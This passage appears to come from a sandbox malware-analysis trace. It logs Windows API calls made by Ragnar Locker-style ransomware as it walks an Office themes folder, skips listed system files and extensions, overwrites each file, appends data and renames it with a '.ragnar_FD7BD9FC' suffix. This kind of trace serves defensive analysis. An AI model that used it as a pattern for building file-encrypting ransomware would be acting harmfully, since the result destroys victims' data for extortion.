(in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0073.273] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.273] lstrcpyW (in: lpString1=0x1eab72, lpString2="EVRGREEN.ELM" | out: lpString1="EVRGREEN.ELM") returned="EVRGREEN.ELM" [0073.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM") returned=".ELM" [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="autorun.inf") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="boot.ini") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="bootfont.bin") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="bootsect.bak") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="bootmgr") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="bootmgr.efi") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="bootmgfw.efi") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="desktop.ini") returned 1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="iconcache.db") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="ntldr") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="ntuser.dat") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="ntuser.dat.log") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="ntuser.ini") returned -1 [0073.273] lstrcmpiW (lpString1="EVRGREEN.ELM", lpString2="thumbs.db") returned -1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0073.273] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0073.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm")) returned 0x20 [0073.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.274] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=77294) returned 1 [0073.274] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x12de5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.274] GetProcessHeap () returned 0x580000 [0073.274] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.274] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.319] VirtualAlloc (lpAddress=0x0, dwSize=0x12dee, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.319] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.319] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.319] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12dee, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x12dee, lpOverlapped=0x0) returned 1 [0073.339] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.340] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12dee, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.340] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12dee, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x12dee, lpOverlapped=0x0) returned 1 [0073.342] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12dee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.342] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.347] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x12dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.347] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.347] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.348] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.350] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.350] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.350] GetProcessHeap () returned 0x580000 [0073.350] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.350] CloseHandle (hObject=0x10c) returned 1 [0073.355] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" [0073.355] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.ragnar_FD7BD9FC" [0073.355] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.409] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0073.409] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.410] lstrcpyW (in: lpString1=0x1eab72, lpString2="EVRGREEN.INF" | out: lpString1="EVRGREEN.INF") returned="EVRGREEN.INF" [0073.410] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF") returned=".INF" [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="autorun.inf") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="boot.ini") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="bootfont.bin") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="bootsect.bak") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="bootmgr") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="bootmgr.efi") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="bootmgfw.efi") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="desktop.ini") returned 1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="iconcache.db") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="ntldr") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="ntuser.dat") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="ntuser.dat.log") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="ntuser.ini") returned -1 [0073.410] lstrcmpiW (lpString1="EVRGREEN.INF", lpString2="thumbs.db") returned -1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.410] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.410] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf")) returned 0x20 [0073.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.455] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=547) returned 1 [0073.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x21a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.455] GetProcessHeap () returned 0x580000 [0073.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.455] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.456] VirtualAlloc (lpAddress=0x0, dwSize=0x223, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.456] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.456] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.456] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x223, lpOverlapped=0x0) returned 1 [0073.456] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.457] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x223, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.457] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x223, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x223, lpOverlapped=0x0) returned 1 [0073.457] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x223, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.457] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x223, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.457] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.457] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.457] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.457] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.457] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.457] GetProcessHeap () returned 0x580000 [0073.457] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.458] CloseHandle (hObject=0x10c) returned 1 [0073.458] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" [0073.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.ragnar_FD7BD9FC" [0073.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.459] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.459] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0073.459] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0073.459] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned=".GIF" [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0073.459] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0073.459] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0073.460] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0073.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0073.460] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0073.460] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1354) returned 1 [0073.460] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x541, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.460] GetProcessHeap () returned 0x580000 [0073.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0073.460] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.462] VirtualAlloc (lpAddress=0x0, dwSize=0x54a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.462] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x54a, lpOverlapped=0x0) returned 1 [0073.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.462] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54a, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.462] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x54a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x54a, lpOverlapped=0x0) returned 1 [0073.462] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.462] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.462] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.462] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.462] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.463] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.463] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.463] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.463] GetProcessHeap () returned 0x580000 [0073.463] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.463] CloseHandle (hObject=0x10c) returned 1 [0073.464] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" [0073.464] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.ragnar_FD7BD9FC" [0073.464] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.464] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, 